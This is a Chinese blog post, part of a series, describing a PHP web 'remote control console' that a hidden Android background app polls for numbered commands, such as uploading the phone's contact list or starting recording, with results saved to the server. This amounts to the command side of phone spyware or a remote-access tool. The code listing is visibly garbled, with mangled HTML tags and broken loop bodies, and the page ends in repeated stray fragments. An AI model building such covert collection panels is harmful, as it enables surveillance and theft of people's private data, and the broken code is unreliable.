本文接上篇继续,上篇说安卓的后台实现,还未完成功能部分。今天说说操控台怎样写?本来想用邮件实现,想想算了,用网页比较直观。上个图。
就是长成这鬼样子。很丑是不是?
我用的是我自在手机组装的php服务器,使用的是局域网,这和虚拟空间没有什么区别,效果是一样的。
因为TCP在虚拟空间和安卓通信我不会,打算用轮询来做,技术有点落后。
先在网站要目录建个文件夹,用来专干这营生。我命名为hk。
打开hk文件夹,在里面建立个index.php。
代码如下:
ob_start();
try {
session_start();
} catch (Exception $e) {
print $e->getMessage();
}
ini_set('display_errors','On');
//error_reporting(0);
//set_time_limit(0);//设置超时,0表示不限时
date_default_timezone_set('PRC');//中国时区
function BT($str)
{
$str=strip_tags($str);
echo '
<title>远程操控台/<title>/<form>function a1(n){
var d=new Date();
var t=d.getTime();
var js={};
js.time=t;
js.n=n;
var s=JSON.stringify(js);
jpost(
{
"url":"?lf=save1",
"data":"pd="+s,
"cb":function(d){
alert(d);
}
}
);
};
function jid(id)
{
if(!document.getElementById(id)){
console.dir(id+"不存在");
}
return document.getElementById(id);
}
function ap(h,obj,kb)
{
//try{clearInterval(tinter);}catch(e){}
if(kb==1){
obj.innerHTML="";
}
if(typeof(h)=="string"){
var obj_dom=cel(h);
}else
{
var obj_dom=h;
}
var arr=[];
for(var ik=0;ik arr.push(obj_dom[ik]); } if(kb==1||kb==0){ for(var ik=0;ik<arr.length> obj.appendChild(arr[ik]); } }else if(kb==3){//前插入 var parent = obj.parentNode; for(var ik=0;ik<arr.length> //parent.appendChild(arr[ik]); parent.insertBefore(arr[ik], obj); } /*if (parent.lastChild == obj) { // 如果最后的节点是目标元素,则直接添加。因为默认是最后 for(var ik=0;ik<arr.length> //parent.appendChild(arr[ik]); parent.insertBefore(arr[ik], obj); } }else { for(var ik=0;ik<arr.length> parent.insertBefore(arr[ik], obj.nextSibling); } }*/ }//if else if(kb==4){ var parent = obj.parentNode; if (parent.lastChild == obj) { for(var ik=0;ik<arr.length> } }else { for(var ik=0;ik<arr.length> } } }else if(kb==5){//内部前插入 var os = obj.children; if(os.length>0) { var oFirst=os[0]; for(var ik=0;ik<arr.length> obj.insertBefore(arr[ik], oFirst); } } else { for(var ik=0;ik<arr.length> obj.appendChild(arr[ik]); } } /*if (parent.lastChild == obj) { // 如果最后的节点是目标元素,则直接添加。因为默认是最后 for(var ik=0;ik<arr.length> //parent.appendChild(arr[ik]); parent.insertBefore(arr[ik], obj); } }else { for(var ik=0;ik<arr.length> parent.insertBefore(arr[ik], obj.nextSibling); } }*/ } } function cel(h){ var objcel=document.createElement("div"); objcel.innerHTML=h; return objcel.childNodes; } function jpost(js) { /* if(window.navigator.onLine==false){alert("当前网络离线,请检查网络");}
*/
var url=js.url;
var data=js.data;
var cb=js.cb;
//tsB('');
var xmlhttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
var rs=xmlhttp.responseText;
//alert(rs);
//console.log(rs);
eval(cb).apply(this,[rs]);
//---------------------------------
var html = rs;
//var hd = document.getElementsByTagName("head")[0];
if(!jid("script1")){
ap('
',document.body,0);/<arr.length>}
var hd=jid("script1");
hd.innerHTML='';
var re = /(?:
当点击通信录时,会在hk目录下生成一个1.txt的文件,它保存了一个json字符串如下:
{
time:xxxxxxxxx,
n:1
}
从通信录到录像,n分别用1-7来表示。time是建立的时间。
当安卓读取到这个字符串,时间在允许范围,根据n的数字来进行哪种操作。
读取的url地址是http://域名/hk/index.php?lf=show,我的是http://192.168.1.101:8181/hk/index.php?lf=show。
假如读取1,为获取通信录,手机获取通信录后上传入来,把它保存在hk目录下的data文件夹里。我们再通过读取文件,就能读取出来。原理就这样。
服务器部分基本这样,还有读取的未实现,先搞好手机上传的回头再实现。
好了,今天写这么多,明天实现手机读取通信录部分,如果你有兴趣,请关注我。
/<arr.length>/<arr.length>/<arr.length>/<arr.length>/<arr.length>/<arr.length>/<arr.length>/<arr.length>/<arr.length>閱讀更多 茂名阿信 的文章